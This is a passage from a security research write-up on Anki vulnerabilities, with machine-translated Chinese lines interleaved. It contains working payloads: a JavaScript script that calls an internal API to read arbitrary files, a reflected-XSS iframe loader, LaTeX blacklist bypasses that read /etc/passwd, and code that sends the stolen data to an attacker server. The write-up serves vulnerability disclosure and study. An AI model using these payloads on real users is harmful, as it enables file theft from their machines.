else:
response = flask.make_response("", HTTPStatus.NO_CONTENT)
except Exception as exc:
print(traceback.format_exc())
response = flask.make_response(
str(exc), HTTPStatus.INTERNAL_SERVER_ERROR
)
return response
return wrapped
else:
return NotFound(message=f"{path} not found")
Let’s assume that we can internally call this API via our JavaScript environment. What sort of actions can we perform?
Thankfully, we don’t need to look far- a lovely list is defined here. These are all connected to the backend service/rewrite written in Rust, as shown in the code below.
It returns a function associated with the method that links to the associated Rust function, which performs the action, passing in the request.data
def raw_backend_request(endpoint: str) -> Callable[[], bytes]:
# check for key at startup
from anki._backend import RustBackend
assert hasattr(RustBackend, f"{endpoint}_raw")
return lambda: getattr(aqt.mw.col._backend, f"{endpoint}_raw")(request.data)
post_handlers = {
stringcase.camelcase(handler.__name__): handler for handler in post_handler_list
} | {
stringcase.camelcase(handler): raw_backend_request(handler)
for handler in exposed_backend_list
}
I’ve added my own comments to each describing whether or not it’ll be useful for us, anything that just gets data for us is not useful. (NU vs U)
post_handler_list = [
congrats_info, # Just tells Anki to update the page to the congrats screen (NU)
get_deck_configs_for_update, # Gets deck configuration (NU)
update_deck_configs, # Updates deck configuration, we could insert malicious JS to other decks here (U)
get_scheduling_states_with_context, # Get deck scheduling state (NU)
set_scheduling_states, # Updates deck scheduling state, we could insert malicious JS to other collections using this method (U)
change_notetype, # Changes the notetype of a note, not really useful (NU)
import_done, # Tells Anki an import has finished (NU)
import_csv, # Imports CSV (NU)
import_anki_package, # Imports .apkg (NU)
import_json_file, # Imports JSON (NU)
import_json_string, # Imports JSON (NU)
search_in_browser, # Opens search browser on query (NU)
]
# The reason I've listed the import_ methods as not useful, is because this is what our inital vector is - the user importing a flashcard collection. There isn't much use in importing more, apart from filling up their collection.
exposed_backend_list = [
"latest_progress", # Gets progress (NU)
"get_deck_names", # Gets deck names (NU)
"i18n_resources", # Gets HTML for a display (NU)
"get_csv_metadata", # Gets CSV metadata (NU)
"get_import_anki_package_presets", # Gets presents (NU)
"get_field_names", # Gets field names of card type (NU)
"get_note", # Gets note info (NU)
"get_notetype_names", # Change notetype name (NU)
"get_change_notetype_info", # Get note type info (NU)
"card_stats", # Gets card stats (NU)
"graphs", # Gets graphs (NU)
"get_graph_preferences", # Updates graph pref, no attack vector (NU)
"set_graph_preferences", # Ditto (NU)
"complete_tag", # Updates tags (NU)
"get_image_for_occlusion", # Adds image to media folder for image occlusion (U)
"add_image_occlusion_note", # Ditto (U)
"get_image_occlusion_note", # Gets image note (NU)
"update_image_occlusion_note", # Updates image note (NU)
"get_image_occlusion_fields", # Gets image fields (NU)
"compute_fsrs_weights", # Computes some weird algorithm for Anki (NU)
"compute_optimal_retention", # Ditto (NU)
"set_wants_abort", # Same thing (NU)
"evaluate_weights", # Same thing (NU)
"get_optimal_retention_parameters", # Same thing (NU)
]
Wow, there’s a lot here. But we need to narrow it down to actions that actually allow us to add/modify useful data that could be used for an exploit. Most of these methods are just used for extracting information about the deck/flashcard configurations, stats, or FSRS (Anki’s space repetition algorithm).
Let’s look at the highlighted methods we could potentially exploit, firstly, the scheduling states. One of Anki’s powerful features is the ability to finely tune the card scheduling (i.e. when and how often they come up for review)
get_scheduling_states_with_context
set_scheduling_states
The new scheduler does provide some control over the scheduling however. As each card is presented, the times and states associated with each answer button are calculated in advance, and it is possible to modify the calculated scheduling with some JavaScript code entered into the bottom of the deck options screen.
To set this custom scheduling, we open the deck options in Anki, scroll to the bottom, add our code, and then hit “Save.” By default, all decks use this configuration.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-16.png)
Because the Options page (above) is a web view page, it isn’t able to directly access the Python method to update the deck configuration; instead, it calls the API method listed above, set_scheduling_states
, with the new options (We can see this in the Network
tab with the developer tools).
However, based on our assumption that we can call the API method, this also means that we can call this API with our own malicious JavaScript, thereby compromising the user’s entire flashcard collection that uses the scheduling. In essence, we’ve created a worm!
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-51.png)
Cool, so that’s a way to pivot. Let’s cover the other API methods and see what impact we can get from them. Here are the endpoints:
get_image_for_occlusion
add_image_for_occlusion
Anki offers the ability to add image flashcards, these are called Image Occlusion
notes, and allow you to add masks over the image that act like clozes.
For example, I’ve added a cover over the cell’s powerhouse (Mitochondria), which I want to memorise in the picture below.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-18.png)
Much like the Scheduling state page, the Image Occlusion editor is also a web view and, therefore, doesn’t directly have access to our device storage…so how exactly is it displaying the image dynamically/live?
Yeep, that’s where the API calls come in! When I create a new image note, it opens up the file browser and gives me an option to select an image. Once I choose the image, it requests the add_image_for_occlusion
endpoint with the full image path as the data, which will then copy the file to Anki’s media folder.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-20.png)
As we know, the Flask web server can handle local file requests for the user’s media folder. Because the image has been copied to the media folder, we can then directly reference it using a img tag <img src="paste-ac..">
, and the web server is smart enough to reference our image. Hence, it can then be displayed in the editor.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-23.png)
To recap, we have an API call that takes a file path to an image on our local machine and then copies it to a folder where the Flask web server can serve it directly on our webpage, which JavaScript can access.
Assuming we have unrestricted access to the API, this gives us file read for all images because we can send the data over the network using a JS fetch request!
That’s cool and all, but what we really want is full file read…so let’s have a look at the source code for that API request and see if there’s any kind of checks in place to make sure it only handles images…
The API server utilises Google’s protobuf library for data handling, I have no idea how it works but I’ve tried my best to understand how Anki uses it. Data in the request is binary encoded, and “structures” are defined for how the data is interpreted. For example, with AddImageOcclusionNote
here’s what data it expects.
message AddImageOcclusionNoteRequest {
string image_path = 1;
string occlusions = 2;
string header = 3;
string back_extra = 4;
repeated string tags = 5;
int64 notetype_id = 6;
}
As mentioned earlier, it’s the rust part that performs the action. There is no data handling in the Python flask webserver code; it directly passes it through untouched – so let’s have a look at the rust code (Note the attribute reference to the protobuf parts defined above).
如前所述,这是生锈的部分,执行的行动。在Python flask web服务器代码中没有数据处理;它直接将数据原封不动地传递给它-所以让我们看看rust代码(注意上面定义的protobuf部分的属性引用)。
pub fn add_image_occlusion_note(
&mut self,
req: AddImageOcclusionNoteRequest,
) -> Result<OpOutput<()>> {
// image file
let image_bytes = read_file(&req.image_path)?;
let image_filename = Path::new(&req.image_path)
.file_name()
.or_not_found("expected filename")?
.to_str()
.unwrap()
.to_string();
let mgr = MediaManager::new(&self.media_folder, &self.media_db)?;
let actual_image_name_after_adding = mgr.add_file(&image_filename, &image_bytes)?;
let image_tag = format!(r#"<img src="{}">"#, &actual_image_name_after_adding);
Perfect! We can see from this that it directly copies whatever file you give it.
完美!我们可以从这里看到,它直接复制你给它的任何文件。
I think it’s time we start writing up a PoC for this to make sure our assumption of being able to call any API method is valid, and get our two exploits. Firstly, generating the request – I will add some print statements and manually build Anki to view what data is being sent that I need to replicate. (You could skip this if you knew how to use protobuf, but I don’t.)
我认为是时候开始为此编写一个脚本了,以确保我们能够调用任何API方法的假设是有效的,并获得我们的两个漏洞。首先,生成请求-我将添加一些打印语句并手动构建Anki以查看正在发送的需要复制的数据。(You如果你知道如何使用protobuf,我可以跳过这一步,但我不知道。
print(request.get_data())
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-24.png)
And another:
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-27.png)
Okay, so it looks like it’s just sending the POST with data in the format \n<random_character><path>
. Instead of trying to work out what random character is needed, I’ll just brute-force it. Here’s some code I created to inject into our card template.
<script>
function getFile(filePath) {
for (let i = 0; i <= 127; i++) {
const modifiedDataString = `\n${String.fromCharCode(i)}${filePath}`;
const binaryData = new TextEncoder().encode(modifiedDataString);
try {
const response = fetch(`http://${window.location.hostname}:${window.location.port}/_anki/addImageOcclusionNote`, {
method: 'POST',
headers: {
'Content-Type': 'application/binary',
},
body: binaryData,
});
if (response.status === 500) {
continue
} else {
break;
}
} catch (error) {}
}
}
getFile('C:\Users\User\Documents\serve.py') // File to read
</script>
In order to edit the template, you need to open up the Note Types
menu via the Tools
button in the navbar.
要编辑模板,您需要通过导航栏中的 Tools
按钮打开 Note Types
菜单。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-29.png)
Once done, we can create a new flashcard with our Basic
type, and when reviewed, the JS will (hopefully) execute!
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-30.png)
Oh, no!
Our assumption was sadly wrong (Who would have guessed). Let’s look at what’s going wrong here, how has Anki managed to foil our plans? If we head back to our handle_request
function, we can see what happened before our backend rust method was called.
req = _extract_request(pathin)
if dev_mode:
print(f"{time.time():.3f} {flask.request.method} /{pathin}")
if isinstance(req, NotFound):
print(req.message)
return flask.make_response(
f"Invalid path: {pathin}",
HTTPStatus.NOT_FOUND,
)
elif callable(req):
return _handle_dynamic_request(req)
We know that the extract_request
method will return a callable object, specifically the wrapper around the rust backend function. Therefore, our callable(req)
condition will be met, and the handle_dynamic_request
method will be called.
我们知道 extract_request
方法将返回一个可调用对象,特别是rust后端函数的包装器。因此,我们的 callable(req)
条件将被满足,并且 handle_dynamic_request
方法将被调用。
def _handle_dynamic_request(req: DynamicRequest) -> Response:
_check_dynamic_request_permissions() # Hmmmmmmmm...
try:
return req()
except Exception as e:
return flask.make_response(str(e), HTTPStatus.INTERNAL_SERVER_ERROR)
Aha. I immediately saw “permissions” and knew this was causing us trouble. Before looking at the code, keep in mind that the JS is being executed on the review page – the referrer/path for this is /_anki/legacyPageData?id=1877863593152
啊哈我立刻看到了“权限”,知道这给我们带来了麻烦。在查看代码之前,请记住,JS是在审查页面上执行的-其执行者/路径是 /_anki/legacyPageData?id=1877863593152
class PageContext(enum.Enum):
UNKNOWN = 0
EDITOR = 1
REVIEWER = 2
# something in /_anki/pages/
NON_LEGACY_PAGE = 3
@dataclass
class LegacyPage:
html: str
context: PageContext
def get_page_context(self, id: int) -> PageContext | None:
if page := self._legacy_pages.get(id):
return page.context
else:
return None
def _extract_page_context() -> PageContext:
"Get context based on referer header."
from urllib.parse import parse_qs, urlparse
referer = urlparse(request.headers.get("Referer", ""))
if referer.path.startswith("/_anki/pages/"):
return PageContext.NON_LEGACY_PAGE
elif referer.path == "/_anki/legacyPageData":
query_params = parse_qs(referer.query)
id = int(query_params.get("id", [None])[0])
return aqt.mw.mediaServer.get_page_context(id)
else:
return PageContext.UNKNOWN
def _check_dynamic_request_permissions():
if request.method == "GET":
return
context = _extract_page_context()
...
Here’s a breakdown of what happens:
以下是所发生情况的详细信息:
- Check if the request method is not
GET
检查请求方法是否不是GET
- Context is taken via
extract_page_context()
上下文通过extract_page_context()
获取- The referrer header is our path, it starts with
/_anki/legacyPageData
返回头是我们的路径,它以/_anki/legacyPageData
开始 - Condition is met so it extracts the id from the
id
parameters
满足条件,因此它从id
参数中提取id - The
get_page_context
method is called with the given id
使用给定的id调用get_page_context
方法- The
legacy_pages
dictionary is queried for the page with the respective ID and returned
在legacy_pages
字典中查询具有相应ID的页面并返回
- The
- The referrer header is our path, it starts with
- The page objects
context
attribute is then viewed. In our case, because its thereview
page, it’ll return2
然后查看页面对象context
属性。在我们的例子中,因为它是review
页,所以它将返回2
- Therefore
Context
variable is now equal to2
因此,Context
变量现在等于2
With that in mind, we move on to the next part of the dynamic_request_permissions
function
考虑到这一点,我们继续进行 dynamic_request_permissions
函数的下一部分
# check content type header to ensure this isn't an opaque request from another origin
if request.headers["Content-type"] != "application/binary":
aqt.mw.taskman.run_on_main(warn)
abort(403)
if context == PageContext.NON_LEGACY_PAGE or context == PageContext.EDITOR:
pass
elif context == PageContext.REVIEWER and request.path in (
"/_anki/getSchedulingStatesWithContext",
"/_anki/setSchedulingStates",
):
# reviewer is only allowed to access custom study methods
pass
else:
# other legacy pages may contain third-party JS, so we do not
# allow them to access our API
aqt.mw.taskman.run_on_main(warn)
abort(403)
Interestingly, our first exploit/worm would be able to run here as the schedulingStates
methods are explicitly whitelisted. Unfortunately, however, this is not the case for our file read.
None of the PageContext
conditions are met, the request is aborted, and the warning is displayed.
We need to trick Anki into thinking the context is a non-legacy page or editor. I tried manually setting the Referer
header in the JavaScript fetch request, but unfortunately, it was ignored.
HOWEVER! Hope is not lost, for where there’s a will, there’s a way! Recall our XSS exploit; we could trigger it on any invalid path. This means that we can get JS execution on a page like /_anki/pages/xyz
. Its context will be treated as a non-legacy page because it starts with _anki/pages
– Woah!
Let’s create a hidden iframe
to embed the page and execute our script. Note that we’ve encoded our payload as base64 to prevent any breakage.
让我们创建一个隐藏的 iframe
来嵌入页面并执行我们的脚本。请注意,我们将有效负载编码为base64,以防止任何损坏。
<script>
const iframe = document.createElement('iframe');
iframe.style.display = 'none'; // Hide the iframe
document.body.appendChild(iframe);
iframe.src = 'http://' + window.location.hostname + ':' + window.location.port + '/_anki/pages/<h1>pwned<img src=x onerror=eval(atob("{malicious_code}")) /></h1>';
</script>
If all goes well, we should expect to see the file in the media folder.
如果一切顺利,我们应该会在媒体文件夹中看到该文件。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-53.png)
Result! You can probably imagine my excitement when seeing this and how shocked I was that the reflected XSS came to the rescue. You can see from the image the brute-force requests until it gets the right character and adds the image.
I’m thrilled with what we’ve found, and I don’t think there’s much else to try and achieve here, so let’s move on before going down any rabbit holes.
Flashcard content
Having been through the styling and “backend” of a card, let’s shift our attention to the rich content that Anki supports. When creating a card, we have various options for what we can use. This includes:
- Styling text (such as bolding, highlighting, and colouring)
- Adding formulas (for writing scientific equations)
- Embedding media (to watch videos or listen to recorded audio).
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-31.png)
We’ll ignore styling text, as this applies HTML tags and CSS styles, which we’ve dissected in the previous section. We’ll also overlook the MathJax implementation, as this is embedded JavaScript, which we’ve already covered.
我们将忽略样式化文本,因为这将应用HTML标记和CSS样式,我们在上一节中已经详细讨论过了。我们还将忽略MathJax实现,因为这是嵌入式JavaScript,我们已经介绍过了。
This leaves us with LaTeX usage and inline media. Let’s start with the former.
这给我们留下了LaTeX的使用和内联媒体。让我们从前者开始。
LaTeX Typesetting LaTeX排版
So, what exactly is LaTeX? It’s a fantastic software system for typesetting (composing the symbols, letters and text) documents.
LaTeX到底是什么?这是一个很棒的排版软件系统(组成符号、字母和文本)。
Unlike most WYSISYG (What-you-see-is-what-you-get) editors, which provides an interactive page for you to type in and apply styling “on demand”, a LaTeX document is a plain text file composed of commands to express the typeset results.
与大多数WYSISYG(所见即所得)编辑器不同,它提供了一个交互式页面,供您“按需”键入和应用样式,LaTeX文档是一个纯文本文件,由用于表达键入结果的命令组成。
It’s especially beneficial when writing out mathematical equations and using scientific symbols. To use LaTeX, we need to install a TeX distribution to interpret the commands and render the results. The following is a minimal example rendered using pdfLaTeX
to a pdf. (Note the first three lines needed)
在写出数学公式和使用科学符号时,这一点尤其有用。要使用LaTeX,我们需要安装一个TeX发行版来解释命令并呈现结果。下面是一个使用 pdfLaTeX
渲染到PDF的最小示例。(Note前三行需要)
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-32.png)
Now, let’s look at how it’s implemented in Anki. The docs are here; the first step is to install a TeX distribution (as mentioned above) that Anki can use.
现在,让我们看看它是如何在Anki中实现的。文档在这里;第一步是安装Anki可以使用的TeX发行版(如上所述)。
To install LaTeX, on Windows use MiKTeX; on macOS use MacTeX, and on Linux use your distro’s package manager. Dvipng must also be installed.
要安装LaTeX,请在Windows上使用MiKTeX;在macOS上使用MacTeX,在Linux上使用发行版的包管理器。还必须安装Dvipng。
We’re using Windows for this, so MiKTeX it is! When installing, you’ll be prompted with this window. Anki recommends that you set installing packages automatically.
我们正在使用Windows,所以MiKTeX就是这样!安装时,您将看到此窗口的提示。Anki建议您设置自动安装软件包。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-31.png)
Packages consist of extra commands that add more functionality to LaTeX. For reasons that’ll become clear later, you’ll realise this probably isn’t the best idea, especially regarding shared decks.
Having installed MiKTeX, we can now use LaTeX in our cards. To do this, in the card editor, select the Fx
button, then LaTeX
. In between the tags, type in the content (for example, the number 1).
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-33.png)
Notice how this doesn’t have all the metadata as our first example? Kind of. It’s still there but hidden in the card options! (Just like our CSS/JS styling). Head over to the Manage Note Types
window, then select the note type and Options
.
注意到了吗?这并没有像我们的第一个例子那样包含所有的元数据?算是吧它仍然存在,但隐藏在卡选项!(Just像我们的CSS/JS样式)。转到 Manage Note Types
窗口,然后选择注释类型和 Options
。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-32.png)
When we’re reviewing our card with LaTeX, Anki will generate a .tex
file from the contents plus header/footer, pass it through to the installed TeX and run a particular program (dvipng)
to convert the output into a PNG to be embedded.
We can see the generated files in a temporary folder that’s been created.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-34.png)
Now that we know how to use LaTeX let’s move on to its potential security issues. But beforehand, I’d like to give a quick lesson on discussing an exploit’s impact, which we can apply to this scenario. There are many models for this, but a popular one (and what’s used when “scoring” an exploit) is the CIA triage.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-2--1--1.png)
- Confidentiality – This is where an attack gains access to sensitive material. A major impact here would be on critical information such as military documents.
- Integrity – This is where an attacker can modify sensitive material. An example of a significant impact here would be with bank statements.
- Availability – This is where an attack renders a resource inaccessible. This can have a major impact on critical infrastructure, like hospital machines.
Okay, with that out of the way, let’s do some awesome googling with the keywords “Security” and “LaTeX” to see what we’re working with. We came across this post that includes some helpful bullet points mentioning the potential issues.
- A TeX document can write to arbitrary files via
\openout
, e.g., ~/.profile, and thus, an unwitting user who runs TeX on an untrusted document is vulnerable to a trojan horse attack. - TeX can execute shell commands.
- There are some well-known ways to crash TeX, such as using (deliberately unchecked) arithmetic overflow and other nefarious constructs.
We know of Point 3, but 1 and 2 are certainly interesting! Hopefully, command execution will be disabled by default. The configuration file contains the access controls for our TeX interpreter, so let’s look there.
% Do we allow TeX \input or \openin (openin_any), or \openout
% (openout_any) on filenames starting with `.' (e.g., .rhosts) or
% outside the current tree (e.g., /etc/passwd)?
% a (any) : any file can be opened.
% r (restricted) : disallow opening dot files
% p (paranoid) : as `r' and disallow going to parent directories, and
% restrict absolute paths to be under $TEXMFOUTPUT.
openin_any = a
openout_any = p
% Enable system commands via \write18{...}. When enabled fully (set to
% t), obviously insecure. When enabled partially (set to p), only the
% commands listed in shell_escape_commands are allowed. Although this
% is not fully secure either, it is much better, and so useful that we
% enable it for everything but bare tex.
shell_escape = p
% No spaces in this command list.
%
% The programs listed here are as safe as any we know: they either do
% not write any output files, respect openout_any, or have hard-coded
% restrictions similar or higher to openout_any=p. They also have no
% features to invoke arbitrary other programs, and no known exploitable
% bugs. All to the best of our knowledge. They also have practical use
% for being called from TeX.
%
shell_escape_commands = \
bibtex,bibtex8,\
extractbb,\
kpsewhich,\
makeindex,\
mpost,\
repstopdf,\
These are the default parameters for most modern TeX distributions. Let’s examine each variable and how it relates to the CIA triage. (This is provided that Anki doesn’t block these functions, which we’ll get to later).
这些是大多数现代TeX发行版的默认参数。让我们检查每个变量,以及它如何与中央情报局分流。(This前提是Anki不会阻止这些函数,我们稍后会谈到)。
openin_any
Decides what locations it can read from. By default, TeX can read any file the user running the interpreter has permission to! This breaks the confidentiality pillar. (Assuming the attacker can exfil the file contents once read). We’ll look at the source code to see what permissions it runs with.openout
Decides what locations it can write to. By default, it can only write to the children’s directories. Although this may seem like the impact is on integrity (which you’d be right about in most cases), I would argue that the main impact, if any, is availability. Let’s examine the source code to see why.
We can find the source in the appropriately named file, latex.py
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
Let’s first find the line where the TeX executable is called.
for latex_cmd in latex_cmds:
if call(latex_cmd, stdout=log, stderr=log):
return _err_msg(col, latex_cmd[0], texpath)
Instead of calling it directly, it runs a function that acts as a wrapper around subprocess.Popen
, a method built into pythons stdlib that calls a system executable. We can find the call
function defined in a utils.py
file here.
try:
with no_bundled_libs():
process = subprocess.Popen(argv, startupinfo=info, **kwargs)
except OSError:
# command not found
return -1
If we look at the documentation for popen we can see that a user
parameter can be set to run the executable as a different user. It’s not being used here, so it’s safe to assume that the TeX executable is being run with the same permissions Anki is being run with. (As the same user)
Now let’s look at where the executable is being called, the CWD, which is the current working directory. We can write any files within this directory but not outside of it. The relevant code for this is just above the executable being called;
# write into a temp file
log = open(namedtmp("latex_log.txt"), "w", encoding="utf8")
texpath = namedtmp("tmp.tex")
texfile = open(texpath, "w", encoding="utf8")
texfile.write(latex)
texfile.close()
oldcwd = os.getcwd()
png_or_svg = namedtmp(f"tmp.{ext}")
try:
# generate png/svg
os.chdir(tmpdir())
Fortunately, it’s being run in a temporary directory in %tmp%
. This means no integrity is being lost here, as no essential data could be compromised – just our LaTeX files that we control. However, one could certainly create a loop to fill up this directory with files, which may lead to filling up the disk space and therefore Availability.
Back to our variable list, the final one is:
shell_escape_commands
which decides what commands can be executed! By default, TeX is very strict on command execution (as it should be) and, therefore, operates on a whitelist for what commands can be run without further configuration from the user. These commands have been vetted, and although some exploits have been found in the past (excellent blog post), they are generally considered “safe”.
Notice the quotations; being safe in this context means not being able to pivot to arbitrary code execution from them. However, we can gain much information about the system from these whitelisted commands! For example:
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/image-1.png)
It’s even formatted for us to inject into the LaTeX document directly; how nice!
Another command allowed is kpathsea, a tool for searching files and directories on the system – brilliant! Now, we can chain this with the arbitrary file read we found earlier to get the files we want, but of which we don’t know the exact location.
另一个允许的命令是kpathsea,一个搜索系统上文件和目录的工具-太棒了!现在,我们可以将其与之前找到的任意文件读取链接,以获得我们想要的文件,但我们不知道确切的位置。
kpathsea
is also able to read environment and TeX variables!kpathsea
还可以读取环境和TeX变量!Apart from these central issues, because of how Anki calls TeX with Popen()
, if we give input that crashes TeX, Anki will crash too (A denial of service that affects Availability). Crashing is…pretty trivial, but a boring “exploit” at that.
除了这些核心问题之外,由于Anki使用 Popen()
调用TeX的方式,如果我们提供导致TeX崩溃的输入,Anki也会崩溃(影响可用性的拒绝服务)。撞车是…很琐碎,但却是一个无聊的“利用”。
Now that we’ve examined the potential issues caused by using LaTeX let’s apply this knowledge to create malicious cards. First, let’s explore how our LaTeX input eventually turns into an image.
既然我们已经研究了使用LaTeX所导致的潜在问题,让我们将这些知识应用于创建恶意卡片。首先,让我们探索一下LaTeX输入最终是如何变成图像的。
def _save_latex_image(
col: anki.collection.Collection,
extracted: ExtractedLatex,
header: str,
footer: str,
svg: bool,
) -> str | None:
# add header/footer
latex = f"{header}\n{extracted.latex_body}\n{footer}"
...
This function takes the LaTeX body and appends the templating mentioned earlier (Header/Footer). Then it goes through a blacklist of the typical dangerous commands that allow reading/writing and executing outside the TeX environment.
tmplatex = latex.replace("\\includegraphics", "")
for bad in (
"\\write18", # \\ because the first backslash escapes the second
"\\readline",
"\\input",
"\\include",
"\\catcode",
"\\openout",
"\\write",
"\\loop",
"\\def",
"\\shipout",
):
# don't mind if the sequence is only part of a command
bad_re = f"\\{bad}[^a-zA-Z]"
if re.search(bad_re, tmplatex):
return col.tr.media_for_security_reasons_is_not(val=bad)
If we try to add a command to say, read a confidential file, it’ll be matched against the blacklist and Anki will prevent us from using it!
如果我们尝试添加一个命令,说,读一个机密文件,它会被匹配到黑名单和Anki将阻止我们使用它!
That is, in theory… 也就是说,在理论上…
In reality, blacklists are notoriously easy to get around, and you’ll forever be in a constant battle of updating them to match against all the quirky and creative edge bypasses hackers find! This is why it’s essential to focus on creating a secure environment for the TeX interpreter instead or explicitly warn the user of the potential risks.
在现实中,黑名单是出了名的容易绕过,你将永远在一个不断的战斗更新他们,以配合所有古怪和创造性的边缘绕过黑客发现!这就是为什么必须专注于为TeX解释器创建一个安全的环境,或者明确警告用户潜在的风险。
Let’s have a look at the PayloadAllTheThings
repo, an excellent resource for hackers to find malicious payloads to use for security testing. There’s one for LaTex injections, which includes bypass blacklists!
让我们来看看 PayloadAllTheThings
repo,这是一个很好的资源,黑客可以找到恶意负载用于安全测试。有一个是拉特克斯注射,其中包括旁路黑名单!
Web应用程序安全和Pentest/CTF的有用有效负载和旁路列表- swisskyrepo/PayloadsAllTheThings
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
We can find one that utilises TeX’s quirks to interpret hex-encoded values (crazy) – this is the sort of stuff I love discovering!
我们可以找到一个利用TeX的怪癖来解释十六进制编码的值(疯狂)-这是我喜欢发现的东西!
\inpu^^74{path}
Because the blacklist scans for \input
and not \inpu^^74
, this should bypass it! Let’s try to read a secret file on my desktop.
因为黑名单只扫描 \input
而不扫描 \inpu^^74
,所以这应该会绕过它!让我们尝试读取我桌面上的一个秘密文件。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/image-6.png)
Result!! We’ve managed to include the file’s contents on the Anki card. Arbitrary file read, right? Well, almost…much like with programming, it’s important to treat data differently depending on what it is – for example if you try to run a Java interpreter on a Python file, it won’t yield anything useful.
In our case, the input
command takes in the file and directly interprets it as LaTeX instead of raw text…which can lead to some problems – such as in the above, there isn’t a newline created as \n
it isn’t recognised as a newline (instead, you’d use \\
).
Luckily, we have a package that comes with the LaTeX distribution – Verbatim
The
verbatim
environment is a paragraph-making environment that gets LaTeX to print exactly what you type in. It turns LaTeX into a typewriter with carriage returns and blanks having the same effect that they would on a typewriter.
Because this package has already been installed, we just need to tell TeX to use it. We can achieve this by appending verbatim
to the usepackage
command list in the card options header
section.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/image-7.png)
Then, in our card contents, we can write \verbatiminput{/etc/passwd}
(example)
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/image-4.png)
Surpingisly, this works without needing to bypass the blacklist. In the Anki documentation, it references using a system package if you want to read external files, but no packages need to be added in order to achieve the read – I assume this was overlooked.
.mp4
in notepad, you’d get all weird hieroglyph characters.)As a bonus, for the verbatiminput
macro we can use the pipe |
syntax to reference a command! For example, \verbatiminput{|kpsewitch -o -r -a -l}
to get system information (as shown earlier).
This is great, but there’s a slight issue: How do we extract the information from the victim to the attacker’s machine? Well, as mentioned earlier, we have all of JavaScript at our disposal including network resources. Furthermore, the output of our LaTeX is stored as an easily accessible image.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/image-8.png)
We can bundle in some JS to make a request with the image data to our attacker-controlled server like so:
const requestData = {
method: 'POST',
headers: {
'Content-Type': 'image/png'
},
body: `image data from fetch request to localhost/latex.png`
};
Then, on the attacker’s machine, we can host a simple HTTP server to receive and save the image data. Here’s a complete proof of concept demonstration;
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/Animation.gif)
I’m hosting the server on the same device for convenience, but this will work over the network as long as the victim’s machine can reach the attacker’s device.
In summary, having been able to bypass the LaTeX blacklist successfully, we’re now able to exploit any of the issues mentioned earlier – this includes reading files, writing to the working directory and executing “whitelisted” commands (that give a ton of information to the attacker).
Media Player
We’re drawing close to the end of our exploitation process; if you’ve read everything up to this point, thank you. I really hope it’s been enjoyable! In this section, we’ll look at incorporating media content on our flashcards and the vulnerability introduced in the implementation that led us to get RCE!
As mentioned earlier, the typical way to add media to a flashcard is through the paper clip icon in the editor. When clicked, it opens a window dialogue, copies the selected file to the media folder, and creates a reference in the form [sound:filename]
it adds to the flashcard content.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-36.png)
Because the sound tag is plaintext on the card, we can manually add/edit it (just like with LaTeX). Let’s edit the tag to be [sound:../Rick.mp4]
and move the file one directory up from the media folder – if the file is referenced as a relative path, this should play the file!
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-37.png)
Great! This is interesting because it shows that Anki is directly referencing the file on the system from the sound
tag and then passing it to the media player – the file doesn’t even have to be put in the specific media folder or added to a database!
Let’s look at the code for how this is done; we can find this in the sound.py
file.
Anki的共享后端和Web组件,以及Qt前端- ankitects/anki
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
We can see references here to a player software called “mpv”; this is what Anki uses to play the media content.
我们可以在这里看到一个名为“mpv”的播放器软件的引用;这是Anki用来播放媒体内容的软件。
一个免费、开源和跨平台的媒体播放器
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://mpv.io/images/mpv-logo-128-0baae5aa.png)
When installing Anki, the default destination folder to extract its assets to (On Windows) is the %localappdata%/Anki
folder. If we open this up in File Explorer, we can see the mpv
application – let’s keep this path in mind when further debugging is needed.
在安装Anki时,默认的目标文件夹是 %localappdata%/Anki
文件夹(在Windows上)。如果我们在文件资源管理器中打开它,我们可以看到 mpv
应用程序-当需要进一步调试时,让我们记住这个路径。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/image-16.png)
Returning to the sound.py
file, let’s go to the end where a setup_audio
function is defined.
def setup_audio(taskman: TaskManager, base_folder: str, media_folder: str) -> None:
